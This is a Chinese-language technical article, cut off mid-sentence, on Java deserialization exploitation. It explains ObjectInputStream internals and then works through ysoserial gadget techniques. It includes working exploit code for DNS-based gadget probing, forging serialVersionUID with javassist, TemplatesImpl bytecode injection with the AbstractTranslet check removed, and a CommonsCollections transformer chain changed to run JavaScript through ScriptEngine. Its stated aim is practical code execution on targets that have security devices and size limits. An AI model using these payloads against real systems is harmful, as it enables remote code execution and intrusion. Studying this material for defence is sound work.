以此为分水岭，Java 安全生态遭遇连锁式冲击波。WebLogic（CVE-2016-0638）、WebSphere(CVE-2020-4450 ) 等中间件的反序列化漏洞相继曝光，暴露出企业基础设施的"协议信任危机"。伴随 ysoserial 、marshalsec 等武器化工具的迭代升级，攻击向量突破Java原生序列化边界，向JSON/XML等数据交换格式（Fastjson CVE-2017-18349、XStream CVE-2021-39144）发起降维打击。而内存马等无文件攻击技术的衍生，则标志着反序列化漏洞利用正式进入对抗检测的隐蔽作战阶段。

这场持续十年的攻防博弈，本质上是安全范式与技术哲学的多重较量：防御方从初期的黑名单修补（SerialKiller）与流量数据包检测进化至JEP 290机制驱动的全局序列化过滤器以及使用RASP技术进行多层防御，攻击方则不断挖掘新型Gadget链突破防御边界；安全社区推动着从 Commons Collections 组件加固到 JDK 层防御体系的构建，而攻击者持续探索着 Fastjson 、Hessian 等其他序列化实现的逻辑缺陷。每一次攻防技术的代际跃迁，都在重新定义着 Java 反序列化安全的攻防博弈图谱。

在反序列化方式中主要分为 Java 原生序列化和第三方库提供的序列化，以 JSON、Hessain、AMF为代表。其次在各种应用层协议中也会使用到反序列化的方式传递数据，这样也引入了相关的攻击面。

• 基础介绍

Java 原生反序列化的过程主要通过 ObjectInputStream 类中的 readObject() 方法实现。当程序调用 readObject()时，它会从输入流中读取字节数据，并将其转化为对应的 Java 对象。在此过程中，readObject() 会首先验证对象的类是否存在，并逐一恢复对象的字段数据。如果对象类实现了自定义的反序列化方法，即 readObject() 方法，那么此方法会被调用来处理额外的反序列化逻辑。对于实现了 Serializable 接口的类，readObject() 方法是自动调用的，通常无需开发者干预。另外的 Externalizable 接口会调用 readExternal 方法进行反序列化操作。

正是因为反序列化过程中的这些方法会自动或手动调用类中的构造方法和其他方法，因此如果反序列化过程中没有足够的安全性措施和输入验证（黑白名单等），攻击者就可以通过精心构造的恶意字节流来利用这些漏洞。目前已经公开了多个常用包的利用链。

• 技术剖析

java.io.ObjectInputStream#readObject

public final Object readObject()    throws IOException, ClassNotFoundException{    if (enableOverride) {        return readObjectOverride();    }    // if nested read, passHandle contains handle of enclosing object    int outerHandle = passHandle;    try {        Object obj = readObject0(false);        handles.markDependency(outerHandle, passHandle);        ClassNotFoundException ex = handles.lookupException(passHandle);        if (ex != null) {            throw ex;        }        if (depth == 0) {            vlist.doCallbacks();        }        return obj;    } finally {        passHandle = outerHandle;        if (closed && depth == 0) {            clear();        }    }}

在readObject0方法中，如果遇到TC_RESET会调用handleReset方法处理，

private Object readObject0(Class<?> type, boolean unshared) throws IOException {    boolean oldMode = bin.getBlockDataMode();    if (oldMode) {        int remain = bin.currentBlockRemaining();        if (remain > 0) {            throw new OptionalDataException(remain);        } else if (defaultDataEnd) {            /*             * Fix for 4360508: stream is currently at the end of a field             * value block written via default serialization; since there             * is no terminating TC_ENDBLOCKDATA tag, simulate             * end-of-custom-data behavior explicitly.             */            throw new OptionalDataException(true);        }        bin.setBlockDataMode(false);    }    byte tc;    while ((tc = bin.peekByte()) == TC_RESET) {        bin.readByte();        handleReset();    }..........    case TC_OBJECT:    if (type == String.class) {        throw new ClassCastException("Cannot cast an object to java.lang.String");    }    return checkResolve(readOrdinaryObject(unshared));

handleReset方法反序列化的递归深度为0时，TC_RESET 会触发清除内部数据结构。这意味着反序列化器会清空已经解析的所有对象和数据，回到一个初始状态。

private void handleReset() throws StreamCorruptedException {    if (depth > 0) {        throw new StreamCorruptedException(            "unexpected reset; recursion depth: " + depth);    }    clear();}

当遇到的是tc_object时，会调用readOrdinaryObject方法，

private Object readOrdinaryObject(boolean unshared)    throws IOException{    if (bin.readByte() != TC_OBJECT) {        throw new InternalError();    }    ObjectStreamClass desc = readClassDesc(false);    desc.checkDeserialize();    Class<?> cl = desc.forClass();    if (cl == String.class || cl == Class.class            || cl == ObjectStreamClass.class) {        throw new InvalidClassException("invalid class descriptor");    }    Object obj;    try {        obj = desc.isInstantiable() ? desc.newInstance() : null;    } catch (Exception ex) {        throw (IOException) new InvalidClassException(            desc.forClass().getName(),            "unable to create instance").initCause(ex);    }    passHandle = handles.assign(unshared ? unsharedMarker : obj);    ClassNotFoundException resolveEx = desc.getResolveException();    if (resolveEx != null) {        handles.markException(passHandle, resolveEx);    }    if (desc.isExternalizable()) {        readExternalData((Externalizable) obj, desc);    } else {        readSerialData(obj, desc);    }    handles.finish(passHandle);    if (obj != null &&        handles.lookupException(passHandle) == null &&        desc.hasReadResolveMethod())    {        Object rep = desc.invokeReadResolve(obj);        if (unshared && rep.getClass().isArray()) {            rep = cloneArray(rep);        }        if (rep != obj) {            // Filter the replacement object            if (rep != null) {                if (rep.getClass().isArray()) {                    filterCheck(rep.getClass(), Array.getLength(rep));                } else {                    filterCheck(rep.getClass(), -1);                }            }            handles.setObject(passHandle, obj = rep);        }    }    return obj;}

readOrdinaryObject会调用readClassDesc方法，该方法的主要作用是从输入流中读取当前对象的类描述符。类描述符包含有关对象的完整类信息，包括类名、字段类型以及其他元数据。

private ObjectStreamClass readNonProxyDesc(boolean unshared)        throws IOException    {        if (bin.readByte() != TC_CLASSDESC) {            throw new InternalError();        }        ObjectStreamClass desc = new ObjectStreamClass();        int descHandle = handles.assign(unshared ? unsharedMarker : desc);        passHandle = NULL_HANDLE;        ObjectStreamClass readDesc = null;        try {            readDesc = readClassDescriptor();        } catch (ClassNotFoundException ex) {            throw (IOException) new InvalidClassException(                "failed to read class descriptor").initCause(ex);        }        Class<?> cl = null;        ClassNotFoundException resolveEx = null;        bin.setBlockDataMode(true);        final boolean checksRequired = isCustomSubclass();        try {            if ((cl = resolveClass(readDesc)) == null) {                resolveEx = new ClassNotFoundException("null class");            } else if (checksRequired) {                ReflectUtil.checkPackageAccess(cl);            }        } catch (ClassNotFoundException ex) {            resolveEx = ex;        }                filterCheck(cl, -1);                skipCustomData();                try {            totalObjectRefs++;            depth++;            desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));        } finally {            depth--;        }

readNonProxyDesc方法中会调用resolveClass方法，目前很多黑白名单实现都是靠重写resolveClass方法，检测类名，filterCheck方法会做JEP290这类检测（如果配置了serialFilter）。

private void filterCheck(Class<?> clazz, int arrayLength)        throws InvalidClassException {    if (serialFilter != null) {        RuntimeException ex = null;        ObjectInputFilter.Status status;        // Info about the stream is not available if overridden by subclass, return 0        long bytesRead = (bin == null) ? 0 : bin.getBytesRead();        try {            status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,                    totalObjectRefs, depth, bytesRead));        } catch (RuntimeException e) {            // Preventive interception of an exception to log            status = ObjectInputFilter.Status.REJECTED;            ex = e;        }        if (Logging.filterLogger != null) {            // Debug logging of filter checks that fail; Tracing for those that succeed            Logging.filterLogger.log(status == null || status == ObjectInputFilter.Status.REJECTED                            ? Logger.Level.DEBUG                            : Logger.Level.TRACE,                    "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",                    status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,                    Objects.toString(ex, "n/a"));        }        if (status == null ||                status == ObjectInputFilter.Status.REJECTED) {            InvalidClassException ice = new InvalidClassException("filter status: " + status);            ice.initCause(ex);            throw ice;        }    }}

void initNonProxy(ObjectStreamClass model,                  Class<?> cl,                  ClassNotFoundException resolveEx,                  ObjectStreamClass superDesc)    throws InvalidClassException{    long suid = Long.valueOf(model.getSerialVersionUID());    ObjectStreamClass osc = null;    if (cl != null) {        osc = lookup(cl, true);        if (osc.isProxy) {            throw new InvalidClassException(                    "cannot bind non-proxy descriptor to a proxy class");        }        if (model.isEnum != osc.isEnum) {            throw new InvalidClassException(model.isEnum ?                    "cannot bind enum descriptor to a non-enum class" :                    "cannot bind non-enum descriptor to an enum class");        }        if (model.serializable == osc.serializable &&                !cl.isArray() &&                suid != osc.getSerialVersionUID()) {            throw new InvalidClassException(osc.name,                    "local class incompatible: " +                            "stream classdesc serialVersionUID = " + suid +                            ", local class serialVersionUID = " +                            osc.getSerialVersionUID());        }        if (!classNamesEqual(model.name, osc.name)) {            throw new InvalidClassException(osc.name,                    "local class name incompatible with stream class " +                            "name \"" + model.name + "\"");        }

然后在initNonProxy方法中，会检测反序列化类的suid以及是否实现了serializable接口。

获取完类的描述符后，又再次回到readOrdinaryObject方法中，如果是externalizable就会调用readExternalData，如果是serializable就调用readSerialData恢复数据。当反序列化器通过 readClassDesc已经读取了类描述符，接下来会调用 readSerialData() 来读取该对象的实际数据（字段值）。根据类描述符中的信息，逐个字段地将字节流中的数据反序列化成相应的字段类型，并填充到对象的各个字段中。

    if (desc.isExternalizable()) {        readExternalData((Externalizable) obj, desc);    } else {        readSerialData(obj, desc);    }

readSerialData方法中，会调用反序列化类的readObject方法，slotDesc.invokeReadObject

private void readSerialData(Object obj, ObjectStreamClass desc)    throws IOException{    ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();    for (int i = 0; i < slots.length; i++) {        ObjectStreamClass slotDesc = slots[i].desc;        if (slots[i].hasData) {            if (obj == null || handles.lookupException(passHandle) != null) {                defaultReadFields(null, slotDesc); // skip field values            } else if (slotDesc.hasReadObjectMethod()) {                ThreadDeath t = null;                boolean reset = false;                SerialCallbackContext oldContext = curContext;                if (oldContext != null)                    oldContext.check();                try {                    curContext = new SerialCallbackContext(obj, slotDesc);                    bin.setBlockDataMode(true);                    slotDesc.invokeReadObject(obj, this);

• 利用方式发展

ysoserial工具于2015年发布，它是一个用于测试和演示Java反序列化漏洞的工具，它主要被安全研究人员用来生成恶意的序列化数据流，以便在易受攻击的Java应用程序中利用反序列化漏洞。ysoserial通过构造特定的恶意Java对象序列化流，使得攻击者可以在目标系统上触发任意代码执行。

在攻防对抗的持续演进中，安全研究人员发现ysoserial在实战化漏洞利用场景存在多重瓶颈：包不同版本导致SUID不一致，其原生Payload构造模式也仅限于基础命令执行功能。不过后续大家都一一解决了这些问题，并且做了更加符合实战化的改造。

• Gadget 探测

在最开始黑盒反序列化漏洞的利用中，由于不知道目标classpath下有哪些jar包，所以通常需要盲打所有的Gadget。但是盲打会存在一个问题，当利用失败时无法确认是不存在利用链还是其他问题导致的失败。为了解决这个盲点问题。目前最常用的一种探测利用链的方案是通过DNSLOG的方式探测目标是否存在漏洞JAR包，在ysoserial中内置了一个URLDNS的利用链，该利用链是JDK内置类通用性高，最后的效果是能产生DNS请求，通常会使用URLDNS来判断目标是否存在JAVA反序列化。

public class URLDNS implements ObjectPayload<Object> {        public Object getObject(final String url) throws Exception {                //Avoid DNS resolution during payload creation                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.                URLStreamHandler handler = new SilentURLStreamHandler();                HashMap ht = new HashMap(); // HashMap that will contain the URL                URL u = new URL(null, url, handler); // URL to use as the Key                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.                return ht;        }                        static class SilentURLStreamHandler extends URLStreamHandler {                protected URLConnection openConnection(URL u) throws IOException {                        return null;                }                protected synchronized InetAddress getHostAddress(URL u) {                        return null;                }        }}

URLDNS的大概原理为，

*   Gadget Chain:

*     HashMap.readObject()

*       HashMap.putVal()

*         HashMap.hash()

*           URL.hashCode()

由于 hashmap 的哈希表特性，为了快速定位以及解决冲突的问题，会调用 key 的 hashcode 方法。

在 java.net.URL#hashCode 方法中，

public synchronized int hashCode() {    if (hashCode != -1)        return hashCode;    hashCode = handler.hashCode(this);    return hashCode;}

为了触发handler的hashCode方法，所以通过反射设置了url对象的hashCode为-1，

java.net.URLStreamHandler#hashCode 中，通过getHostAddress产生了DNS请求。

protected int hashCode(URL u) {    int h = 0;    // Generate the protocol part.    String protocol = u.getProtocol();    if (protocol != null)        h += protocol.hashCode();    // Generate the host part.    InetAddress addr = getHostAddress(u);    if (addr != null) {        h += addr.hashCode();    } else {        String host = u.getHost();        if (host != null)            h += host.toLowerCase().hashCode();    }    // Generate the file part.    String file = u.getFile();    if (file != null)        h += file.hashCode();    // Generate the port part.    if (u.getPort() == -1)        h += getDefaultPort();    else        h += u.getPort();    // Generate the ref part.    String ref = u.getRef();    if (ref != null)        h += ref.hashCode();    return h;}

基于URLDNS进一步延伸出了，通过DNS判断目标是否存在利用类。

java.util.HashMap#readObject

for (int i = 0; i < mappings; i++) {    @SuppressWarnings("unchecked")        K key = (K) s.readObject();    @SuppressWarnings("unchecked")        V value = (V) s.readObject();    putVal(hash(key), key, value, false, false);}

在hashmap的readObject方法中，会进行两次反序列化分别获取到key和value。在hashmap putval时，只会对key调用hashcode方法，所以value随意。

这时候通过将value设置为利用类，如果目标不存在则会反序列化异常，就不会走到hash(key)也就不会触发DNS请求了。

    public static Class makeClass(String clazzName) throws Exception{        ClassPool classPool = ClassPool.getDefault();        CtClass ctClass = classPool.makeClass(clazzName);//        ctClass.addInterface(classPool.get(Serializable.class.getName()));//        CtField suidField = CtField.make(String.format("private static final long serialVersionUID = %dL;", 1), ctClass);//        ctClass.addField(suidField);        ctClass.defrost();        Class clazz = ctClass.toClass();        return clazz;    }public static HashMap makeHashMap(String url, String className) throws Exception{    URLStreamHandler handler = new SilentURLStreamHandler();    HashMap hashmap = new HashMap();    URL u = new URL(null, url, handler);    Class gadget = makeClass(className);    hashmap.put(u, gadget);    Reflections.setFieldValue(u, "hashCode", -1);    return hashmap;}public Object getObject(String url) throws Exception {    String dnslog = url;    List<Object> list = new LinkedList<Object>();    HashMap cb19 = makeHashMap("http://cb19." + url, "org.apache.commons.beanutils.IntrospectionContext");    list.add(cb19);    HashMap cc321 = makeHashMap("http://cc321." + url,  "org.apache.commons.collections.ArrayStack");    list.add(cc321);    return list;}

然后通过 linkedlist 加上所有的 hashmap 就可以一次性判断所有的利用链，makeClass 中也可以添加serialVersionUID 属性判断目标的 jar 包版本。

部分场景下，目标服务器也可能未配置 DNS 解析，在时候也可以通过嵌套多层 HashSet，形成类似 DOS 造成目标返回变慢来判断是否存在利用类。

• serialVersionUID 不一致

在 Java 的序列化机制中，serialVersionUID 是一个非常重要的标识符，主要用于版本控制和兼容性管理。serialVersionUID 是 Java 序列化机制中用于标识类版本的一个唯一标识符。当一个类实现了 Serializable 接口时，JVM 会通过 serialVersionUID 来验证序列化和反序列化的类是否是同一个版本。如果在反序列化时，目标类的 serialVersionUID 与序列化时使用的 serialVersionUID 不一致，JVM 会抛出 InvalidClassException，从而防止因版本不匹配而导致的数据不一致问题。

if (model.serializable == osc.serializable &&        !cl.isArray() &&        suid != osc.getSerialVersionUID()) {    throw new InvalidClassException(osc.name,            "local class incompatible: " +                    "stream classdesc serialVersionUID = " + suid +                    ", local class serialVersionUID = " +                    osc.getSerialVersionUID());}

Java在反序列时, 会把传来的字节流中的serialVersionUID与本地对应类的serialVersionUID进行校验, 在两个SUID不同的情况下, 会抛出版本号不同的异常, 不再进行反序列。

java.io.ObjectStreamClass中，会先尝试获取类中的serialVersionUID，

private static Long getDeclaredSUID(Class<?> cl) {    try {        Field f = cl.getDeclaredField("serialVersionUID");        int mask = Modifier.STATIC | Modifier.FINAL;        if ((f.getModifiers() & mask) == mask) {            f.setAccessible(true);            return Long.valueOf(f.getLong(null));        }    } catch (Exception ex) {    }    return null;}

如果开发者没有手动定义serialVersionUID属性，则会调用computeDefaultSUID方法自动计算出suid，

public long getSerialVersionUID() {    // REMIND: synchronize instead of relying on volatile?    if (suid == null) {        suid = AccessController.doPrivileged(            new PrivilegedAction<Long>() {                public Long run() {                    return computeDefaultSUID(cl);                }            }        );    }    return suid.longValue();}

computeDefaultSUID 会基于类的名字、字段信息、类的修饰符、类中的方法以及继承链等多种因素计算出一个 64 位的长整型值，作为该类的默认序列化 UID。所以如果开发者没有手动定义SUID在版本更替后，由于方法、属性的修改就会导致SUID不一致。

private static long computeDefaultSUID(Class<?> cl) {    if (!Serializable.class.isAssignableFrom(cl) || Proxy.isProxyClass(cl))    {        return 0L;    }    try {        ByteArrayOutputStream bout = new ByteArrayOutputStream();        DataOutputStream dout = new DataOutputStream(bout);        dout.writeUTF(cl.getName());        int classMods = cl.getModifiers() &            (Modifier.PUBLIC | Modifier.FINAL |             Modifier.INTERFACE | Modifier.ABSTRACT);        /*         * compensate for javac bug in which ABSTRACT bit was set for an         * interface only if the interface declared methods         */        Method[] methods = cl.getDeclaredMethods();        if ((classMods & Modifier.INTERFACE) != 0) {            classMods = (methods.length > 0) ?                (classMods | Modifier.ABSTRACT) :                (classMods & ~Modifier.ABSTRACT);        }        dout.writeInt(classMods);        if (!cl.isArray()) {            /*             * compensate for change in 1.2FCS in which             * Class.getInterfaces() was modified to return Cloneable and             * Serializable for array classes.             */            Class<?>[] interfaces = cl.getInterfaces();            String[] ifaceNames = new String[interfaces.length];            for (int i = 0; i < interfaces.length; i++) {                ifaceNames[i] = interfaces[i].getName();            }            Arrays.sort(ifaceNames);            for (int i = 0; i < ifaceNames.length; i++) {                dout.writeUTF(ifaceNames[i]);            }        }        Field[] fields = cl.getDeclaredFields();        MemberSignature[] fieldSigs = new MemberSignature[fields.length];        for (int i = 0; i < fields.length; i++) {            fieldSigs[i] = new MemberSignature(fields[i]);        }        Arrays.sort(fieldSigs, new Comparator<MemberSignature>() {            public int compare(MemberSignature ms1, MemberSignature ms2) {                return ms1.name.compareTo(ms2.name);            }        });        for (int i = 0; i < fieldSigs.length; i++) {            MemberSignature sig = fieldSigs[i];            int mods = sig.member.getModifiers() &                (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |                 Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE |                 Modifier.TRANSIENT);            if (((mods & Modifier.PRIVATE) == 0) ||                ((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0))            {                dout.writeUTF(sig.name);                dout.writeInt(mods);                dout.writeUTF(sig.signature);            }        }        if (hasStaticInitializer(cl)) {            dout.writeUTF("<clinit>");            dout.writeInt(Modifier.STATIC);            dout.writeUTF("()V");        }        Constructor<?>[] cons = cl.getDeclaredConstructors();        MemberSignature[] consSigs = new MemberSignature[cons.length];        for (int i = 0; i < cons.length; i++) {            consSigs[i] = new MemberSignature(cons[i]);        }        Arrays.sort(consSigs, new Comparator<MemberSignature>() {            public int compare(MemberSignature ms1, MemberSignature ms2) {                return ms1.signature.compareTo(ms2.signature);            }        });        for (int i = 0; i < consSigs.length; i++) {            MemberSignature sig = consSigs[i];            int mods = sig.member.getModifiers() &                (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |                 Modifier.STATIC | Modifier.FINAL |                 Modifier.SYNCHRONIZED | Modifier.NATIVE |                 Modifier.ABSTRACT | Modifier.STRICT);            if ((mods & Modifier.PRIVATE) == 0) {                dout.writeUTF("<init>");                dout.writeInt(mods);                dout.writeUTF(sig.signature.replace('/', '.'));            }        }        MemberSignature[] methSigs = new MemberSignature[methods.length];        for (int i = 0; i < methods.length; i++) {            methSigs[i] = new MemberSignature(methods[i]);        }        Arrays.sort(methSigs, new Comparator<MemberSignature>() {            public int compare(MemberSignature ms1, MemberSignature ms2) {                int comp = ms1.name.compareTo(ms2.name);                if (comp == 0) {                    comp = ms1.signature.compareTo(ms2.signature);                }                return comp;            }        });        for (int i = 0; i < methSigs.length; i++) {            MemberSignature sig = methSigs[i];            int mods = sig.member.getModifiers() &                (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |                 Modifier.STATIC | Modifier.FINAL |                 Modifier.SYNCHRONIZED | Modifier.NATIVE |                 Modifier.ABSTRACT | Modifier.STRICT);            if ((mods & Modifier.PRIVATE) == 0) {                dout.writeUTF(sig.name);                dout.writeInt(mods);                dout.writeUTF(sig.signature.replace('/', '.'));            }        }        dout.flush();        MessageDigest md = MessageDigest.getInstance("SHA");        byte[] hashBytes = md.digest(bout.toByteArray());        long hash = 0;        for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) {            hash = (hash << 8) | (hashBytes[i] & 0xFF);        }        return hash;    } catch (IOException ex) {        throw new InternalError(ex);    } catch (NoSuchAlgorithmException ex) {        throw new SecurityException(ex.getMessage());    }}

在ysoserial的pom.xml中都内置了的jar包版本有可能会存在和目标版本不一致导致的反序列化异常。

<dependency>                        <groupId>commons-collections</groupId>                        <artifactId>commons-collections</artifactId>                        <version>3.1</version>                </dependency>                <dependency>                        <groupId>org.beanshell</groupId>                        <artifactId>bsh</artifactId>                        <version>2.0b5</version>                </dependency>                <dependency>                        <groupId>commons-beanutils</groupId>                        <artifactId>commons-beanutils</artifactId>                        <version>1.9.2</version>                </dependency>                <dependency>                        <groupId>org.apache.commons</groupId>                        <artifactId>commons-collections4</artifactId>                        <version>4.0</version>                </dependency>

当出现SUID不一致时导致的反序列化异常时，最简单的方法是直接切换jar包的版本，当然也可以尝试通过javassist添加与目标一致的SUID属性。

ClassPool pool = ClassPool.getDefault();try {    CtClass cls = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");    CtField field = CtField.make("private static final long serialVersionUID = 7387108436934414104;",cls);    cls.addField(field);    cls.writeFile();} catch (NotFoundException e) {    e.printStackTrace();} catch (CannotCompileException e) {    e.printStackTrace();} catch (IOException e) {    e.printStackTrace();}

• 任意代码执行优化

ysoserial默认生成的Payload主要实现远程命令执行。在当前安全防御体系日趋完善的环境下，由于FAT JAR、目标机器不出网、HIDS、命令结果无法回显等原因导致命令执行越来越难用，通常需要通过针对不同的目标环境执行不同的代码实现对目标的控制。

反序列化能否代码执行和具体的利用链相关，在ysoserial中部分gadget使用了Gadgets.createTemplatesImpl方法生成templatesimpl对象。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是目前反序列化利用的常客，这是jdk中内置类。

该类中存在getOutputProperties方法，符合getter类型，所以最后能调用getter的利用链最后基本都会通过TemplatesImpl实现代码执行。

public synchronized Properties getOutputProperties() {    try {        return newTransformer().getOutputProperties();    }    catch (TransformerConfigurationException e) {        return null;    }}

在newTransformer方法中，又调用了getTransletInstance方法，

public synchronized Transformer newTransformer()    throws TransformerConfigurationException{    TransformerImpl transformer;    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,        _indentNumber, _tfactory);
private Translet getTransletInstance()    throws TransformerConfigurationException {    try {        if (_name == null) return null;        if (_class == null) defineTransletClasses();        // The translet needs to keep a reference to all its auxiliary        // class to prevent the GC from collecting them        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
private void defineTransletClasses()    throws TransformerConfigurationException {    if (_bytecodes == null) {        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);        throw new TransformerConfigurationException(err.toString());    }    TransletClassLoader loader = (TransletClassLoader)        AccessController.doPrivileged(new PrivilegedAction() {            public Object run() {                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());            }        });    try {        final int classCount = _bytecodes.length;        _class = new Class[classCount];        if (classCount > 1) {            _auxClasses = new HashMap<>();        }        for (int i = 0; i < classCount; i++) {            _class[i] = loader.defineClass(_bytecodes[i]);            final Class superClass = _class[i].getSuperclass();            // Check if this is the main class            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {                _transletIndex = i;            }            else {                _auxClasses.put(_class[i].getName(), _class[i]);            }        }        if (_transletIndex < 0) {            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);            throw new TransformerConfigurationException(err.toString());        }    }    catch (ClassFormatError e) {        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);        throw new TransformerConfigurationException(err.toString());    }    catch (LinkageError e) {        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);        throw new TransformerConfigurationException(err.toString());    }}

getTransletInstance中对_bytecodes进行了defineClass，然后newInstance实例化，所以在反序列化时给_bytecodes设置class字节码，就能实现任意代码执行。

再回到ysoserial中，ysoserial.payloads.util.Gadgets#createTemplatesImpl，

private void defineTransletClasses()    throws TransformerConfigurationException {    if (_bytecodes == null) {        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);        throw new TransformerConfigurationException(err.toString());    }    TransletClassLoader loader = (TransletClassLoader)        AccessController.doPrivileged(new PrivilegedAction() {            public Object run() {                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());            }        });    try {        final int classCount = _bytecodes.length;        _class = new Class[classCount];        if (classCount > 1) {            _auxClasses = new HashMap<>();        }        for (int i = 0; i < classCount; i++) {            _class[i] = loader.defineClass(_bytecodes[i]);            final Class superClass = _class[i].getSuperclass();            // Check if this is the main class            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {                _transletIndex = i;            }            else {                _auxClasses.put(_class[i].getName(), _class[i]);            }        }        if (_transletIndex < 0) {            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);            throw new TransformerConfigurationException(err.toString());        }    }    catch (ClassFormatError e) {        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);        throw new TransformerConfigurationException(err.toString());    }    catch (LinkageError e) {        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);        throw new TransformerConfigurationException(err.toString());    }}

默认提供的createTemplatesImpl方法中，内置的模板就是Runtime.exec实现的命令执行，然后Javassist生成字节码，

通过反射设置到_bytecodes属性中。

通过修改cmd就能实现任意代码执行，或者直接读取class文件然后设置到_bytecodes中。

if(command.startsWith("classfile:")){    String path = command.split(":")[1];    FileInputStream in =new FileInputStream(new File(path));    classBytes=new byte[in.available()];    in.read(classBytes);    in.close();    System.out.println(command);    System.err.println("Java File Mode:"+ Arrays.toString(classBytes));}

在后续实战中通过这样的方式能成功进行代码执行，但是在某些存在安全设备的场景中往往会对数据包大小进行限制，为了解决这个问题需要对序列化数据进行缩短。

• 移除ABSTRACT_TRANSLET

在createTemplatesImpl中，ysoserial给class设置了父类，com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

        CtClass superC = pool.get(abstTranslet.getName());        clazz.setSuperclass(superC);

这是因为在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses方法中，会判断生成类的父类是不是ABSTRACT_TRANSLET，那么这个是不是必须的呢?

        final int classCount = _bytecodes.length;        _class = new Class[classCount];        if (classCount > 1) {            _auxClasses = new HashMap<>();        }        for (int i = 0; i < classCount; i++) {            _class[i] = loader.defineClass(_bytecodes[i]);            final Class superClass = _class[i].getSuperclass();            // Check if this is the main class            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {                _transletIndex = i;            }            else {                _auxClasses.put(_class[i].getName(), _class[i]);            }        }        if (_transletIndex < 0) {            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);            throw new TransformerConfigurationException(err.toString());        }

_bytecodes是一个byte[]数组，循环生成类时，会判断defineClass生成的类的父类是否为AbstractTranslet，如果不是那么就会执行到_auxClasses.put(_class[i].getName(), _class[i]);

观察_auxClasses属性发现被transient修饰，无法通过反序列化控制值，如果直接调用_auxClasses.put会抛出空指针异常，导致代码执行中断。

private transient Map<String, Class<?>> _auxClasses = null;

再观察defineTransletClasses方法可以发现，当classCount > 1时，会对_auxClasses属性赋值HashMap，这时候put就不会再空指针异常了。

另外还存在一个_transletIndex < 0时，就会抛出异常中断的限制，_transletIndex默认为-1。 在for循环时，只有当生成类的父类为AbstractTranslet时，才会对_transletIndex属性赋值。

查看_transletIndex属性时发现该属性并没有被transient修饰，那么即使父类不是AbstractTranslet也可以通过反序列化控制该属性绕过限制。

private int _transletIndex = -1;private void  readObject(ObjectInputStream is)  throws IOException, ClassNotFoundException{_transletIndex = gf.get("_transletIndex", -1);

所以只要满足两个条件即可实现去除AbstractTranslet：

1、classCount也就是生成类的数量大于1

2、_transletIndex >= 0

在defineTransletClasses生成类后，后续会用到_transletIndex属性指定从_class属性数组中实例化哪个类，那么需要将_transletIndex属性指定为恶意类的索引。

if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet)        _class[_transletIndex].getConstructor().newInstance();

最后修改createTemplatesImpl方法如下即可不再需要继承ABSTRACT_TRANSLET。

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {    classBytes, ClassFiles.classAsBytes(Foo.class)});//Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});// required to make TemplatesImpl happyReflections.setFieldValue(templates, "_transletIndex", 0);Reflections.setFieldValue(templates, "_name", "Pwnr");Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());return templates;

• 链式反射修改为代码执行

除了此类getter Gadgets.createTemplatesImpl利用链，另外还有CommonsCollections6这种链式反射的利用链。

final Transformer[] transformers = new Transformer[] {        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[] {                String.class, Class[].class }, new Object[] {                "getRuntime", new Class[0] }),        new InvokerTransformer("invoke", new Class[] {                Object.class, Object[].class }, new Object[] {                null, new Object[0] }),        new InvokerTransformer("exec",                new Class[] { String.class }, execArgs),        new ConstantTransformer(1) };

这种也能修改为代码执行，如下修改为ScriptEngineManager然后执行js(Nashron/Rhino)表达式，实现代码执行。

Transformer[] transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class),    new InvokerTransformer("newInstance", new Class[0], new Object[0]),    new InvokerTransformer("getEngineByName", new Class[]{String.class},        new Object[]{"JavaScript"}), new InvokerTransformer("eval",    new Class[]{String.class}, execArgs), new ConstantTransformer(1)};Transformer transformerChain = new ChainedTransformer(transformers);

或者

